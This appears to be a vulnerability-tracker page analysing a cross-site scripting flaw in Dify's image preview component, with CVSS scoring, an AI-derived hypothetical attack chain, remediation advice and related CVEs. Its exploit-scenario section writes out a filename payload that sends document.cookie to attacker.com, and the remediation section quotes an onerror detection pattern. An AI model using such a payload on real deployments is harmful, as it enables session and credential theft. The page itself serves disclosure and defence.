Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to Dify platform
-
DeliveryCraft malicious filename with XSS payload
-
ExploitUpload image with crafted name
-
ExecutionTrigger openInNewTab action
-
PersistMalicious script executes in victim's session
-
ImpactSteal credentials or manipulate application state
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated user account (PR:L) with permission to upload images to Dify's image uploader component. The attacker must craft a filename containing XSS payload and upload it as an image asset. User interaction (UI:R) is mandatory-another user must click the 'Open in New Tab' action or trigger the openInNewTab function in the ImagePreview component for the payload to execute. The filename field must be passed unsanitized from the upload handler to the DOM or URL construction in openInNewTab without HTML encoding or JavaScript escaping. Default Dify deployments with image upload enabled are vulnerable; organizations that have disabled the image uploader or use a reverse proxy with strict input validation on filenames may reduce (but not eliminate) risk if the proxy blocks common XSS patterns. Authentication and user interaction are the primary limiting factors-unauthenticated attackers cannot exploit this directly. |
| Impact | This vulnerability presents a moderate but contained real-world risk despite its low CVSS score (3.5). The CVSS vector shows network accessibility (AV:N) and low attack complexity (AC:L), but the requirement for authenticated access (PR:L) and user interaction (UI:R) significantly reduces exploitation frequency. The EPSS metric is not provided, but the low CVSS combined with authentication barriers suggests this is not a critical internet-wide risk. However, the public availability of exploit code and vendor non-responsiveness elevate concern for targeted attacks against specific Dify deployments, particularly in multi-tenant SaaS environments where attackers could craft malicious image filenames to compromise other users' sessions. The CVSS Environmental modifier (E:P/RL:X/RC:R) reflects that proof-of-concept code is public and reliability is reasonable, suggesting exploitation will increase as awareness spreads. For organizations running Dify as a shared platform (AI application builder, prompt management, etc.), this warrants prioritized patching to prevent credential theft, session hijacking, or lateral movement via XSS payloads. The integrity-only impact (I:L) rather than confidentiality/availability breach suggests this is not a 'lights-out' incident but a meaningful security gap that should not be deferred. |
| Exploit ScenarioDerived | An authenticated user uploads an image to a Dify application (e.g., a knowledge base document or prompt builder asset) with a crafted filename containing JavaScript (e.g., 'image<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">.png'). When another user or the same user clicks 'Open in New Tab' or hovers over the image preview (depending on when openInNewTab is triggered), the malicious script executes in their browser context, exfiltrating session cookies, OAuth tokens, or prompts being developed. If the application stores sensitive API keys or model configurations accessible via the DOM, the attacker gains access to those credentials. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 20, 2026
Cross-site scripting in Dify's ImagePreview component (web/app/components/base/image-uploader/image-preview.tsx) allows authenticated users to inject malicious scripts via the filename argument in the openInNewTab function, affecting versions up to 1.13.3. The vulnerability requires user interaction (UI:R) and authenticated access (PR:L), limiting impact to low integrity compromise with no confidentiality or availability impact. Publicly available exploit code exists; vendor has not responded to early disclosure.
RemediationAI
Upgrade Dify to a version released after the vendor's response to this disclosure; exact patched version not confirmed from available data - check the Dify GitHub repository (https://github.com/langgenius/dify) for releases dated after the CVE publication or review pull requests addressing CWE-79 in the ImagePreview component. In the immediate term, implement input validation and output encoding in the openInNewTab function to HTML-encode or URI-encode the filename parameter before rendering it in DOM or constructing URLs; this prevents script injection while preserving legitimate filenames with special characters. Apply a Content Security Policy (CSP) header with script-src directive set to 'self' and a nonce-based or hash-based approach to restrict inline script execution, mitigating XSS payloads even if filename sanitization is bypassed. If using Dify in a multi-tenant environment, segregate user sessions with frame-ancestry or X-Frame-Options headers to limit session hijacking scope. Monitor image upload logs for suspicious filenames containing script tags or event handlers (e.g., '<img src=x onerror=alert()>') and block uploads matching such patterns. These controls carry minimal performance overhead but require coordination with development and security teams to deploy.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The ImagePreview component in Dify's web application fails to properly sanitize the filename parameter before using it in the openInNewTab function, leading to stored or reflected cross-site scripting (CWE-79). Dify is a large language model (LLM) application development platform written in React/TypeScript. The vulnerable code path accepts user-controlled filename input-likely from image metadata or upload form fields-and inserts it unsanitized into DOM operations or URL construction without HTML encoding or Content Security Policy (CSP) protections. The attack surface is the image upload and preview functionality, a common user-facing feature in web applications. CPE cpe:2.3:a:langgenius:dify identifies the Dify application by Langgenius across all versions up to and including 1.13.3.
Know when Dify gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
6DescriptionCVE.org
A vulnerability has been found in langgenius dify up to 1.13.3. Impacted is the function openInNewTab of the file web/app/components/base/image-uploader/image-preview.tsx of the component ImagePreview. The manipulation of the argument filename leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Dify 1.9.1 permits unauthenticated remote GET requests to the /console/api/system-features console endpoint, letting ano
Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al
Path traversal in Dify versions 0 through 1.14.1 allows authenticated tenants to escape their authorized tenant path and
Cross-tenant authorization bypass in LangGenius Dify versions through 1.14.1 lets any logged-in editor reroute another t
A vulnerability in langgenius/dify v0.10.1 allows an attacker to take over any account, including administrator accounts
SQL injection in Dify's MyScale vector store backend (versions before 1.16.0-rc1) lets authenticated attackers execute a
Plaintext exposure of third-party service API keys in Dify prior to version 1.11.0 allows any authenticated non-administ
Cross-tenant document disclosure in Dify 1.14.1 and prior allows any authenticated user to read up to 3,000 characters o
langgenius/dify version v0.10.1 contains a vulnerability where there are no limits applied to the number of code guess a
In langgenius/dify v0.10.1, the `/forgot-password/resets` endpoint does not verify the password reset code, allowing an
Dify is an open-source LLM app development platform. Rated high severity (CVSS 7.6), this vulnerability is remotely expl
A stored cross-site scripting (XSS) vulnerability exists in langgenius/dify version latest, specifically in the chat log
EUVD-2026-23809
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB